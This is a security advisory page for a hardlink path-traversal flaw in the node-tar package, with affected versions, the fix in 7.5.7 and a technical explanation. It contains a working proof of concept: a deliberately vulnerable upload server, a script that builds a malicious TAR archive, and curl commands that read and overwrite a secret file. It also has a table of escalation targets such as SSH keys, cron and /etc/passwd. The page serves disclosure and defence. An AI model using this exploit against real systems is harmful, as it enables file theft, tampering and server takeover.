---
title: "GHSA-34x7-hfp2-rc4v: node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal"
description: "High severity. node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal. Affects tar; fixed in 7.5.7."
url: https://inlinr.com/advisories/GHSA-34x7-hfp2-rc4v
lang: en
---

[Packages](https://inlinr.com/packages) / [tar](https://inlinr.com/packages/tar) / [Security](https://inlinr.com/packages/tar/security)

High Vulnerability GHSA-34x7-hfp2-rc4v CVE-2026-24842 Published 28 Jan 2026

# node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal

Your version 

Affected releases · [tar](https://inlinr.com/packages/tar)

- 7.x 7.0.0 – 7.5.6 Fixed in 7.5.7
- 6.x and older 0.0.1 – 6.2.1 No fix, no longer updated

On 7.x, the newest line:

```
npm install tar@7.5.7
```

Every release on a timeline

7.x 

1. Affected

7.0.0 – 7.5.6  
17 releases
2. Fixed

7.5.7 – 7.5.22  
16 releases, latest

6.x 

1. Affected

6.0.0 – 6.2.1  
24 releases

5.x 

1. Affected

5.0.0 – 5.0.11  
12 releases

4.x 

1. Affected

4.0.0 – 4.4.19  
31 releases

3.x 

1. Affected

3.0.0 – 3.2.3  
22 releases

2.x 

1. Affected

2.0.0 – 2.2.2  
7 releases

1.x 

1. Affected

1.0.0 – 1.0.3  
4 releases

0.x 

1. Affected

0.0.1 – 0.1.20  
21 releases

154 stable releases of tar, oldest to newest, one row per major.

## What happens

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:

**Security check in `[STRIPABSOLUTEPATH]`:**

```
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
```

**Hardlink creation in `[HARDLINK]`:**

```
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
```

**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.

- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` \= `etc/passwd`. No `../` prefix, so it **passes**.
- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` \= `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.

The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:

```
poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)
```

**package.json**

```
{ "dependencies": { "tar": "^7.5.0" } }
```

**secret.txt** (sensitive file outside uploads/)

```
DATABASE_PASSWORD=supersecret123
```

**server.js** (vulnerable file upload server)

```
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
```

**create-malicious-tar.js** (attacker creates exploit TAR)

```
const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
```

Run

```
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt
```

Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.

**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

| Attack Vector    | Target File                      | Result                            |
| ---------------- | -------------------------------- | --------------------------------- |
| SSH Access       | \~/.ssh/authorized\_keys         | Direct shell access to server     |
| Cron Backdoor    | /etc/cron.d/\*, \~/.crontab      | Persistent code execution         |
| Shell RC Files   | \~/.bashrc, \~/.profile          | Code execution on user login      |
| Web App Backdoor | Application .js, .php, .py files | Immediate RCE via web requests    |
| Systemd Services | /etc/systemd/system/\*.service   | Code execution on service restart |
| User Creation    | /etc/passwd (if running as root) | Add new privileged user           |

Data Exfiltration & Corruption

1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations
2. **Read sensitive files** by creating hardlinks that point outside extraction directory
3. **Corrupt databases** and application state
4. **Steal credentials** from config files, `.env`, secrets

## How it is exploited

Exploitable over the network, with no account and a user to do something.

- **Confidentiality**: high
- **Integrity**: low
- **Availability**: none

CVSS:3.1/​AV:N/​AC:L/​PR:N/​UI:R/​S:C/​C:H/​I:L/​A:N

## References

- [Reference](https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v "https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v")  
github.com/isaacs/node-tar/security/advisories/…
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-24842 "https://nvd.nist.gov/vuln/detail/CVE-2026-24842")  
nvd.nist.gov/vuln/detail/CVE-2026-24842
- [Fix commit](https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46 "https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46")  
f4a7aa9
- [Package](https://github.com/isaacs/node-tar "https://github.com/isaacs/node-tar")  
github.com/isaacs/node-tar
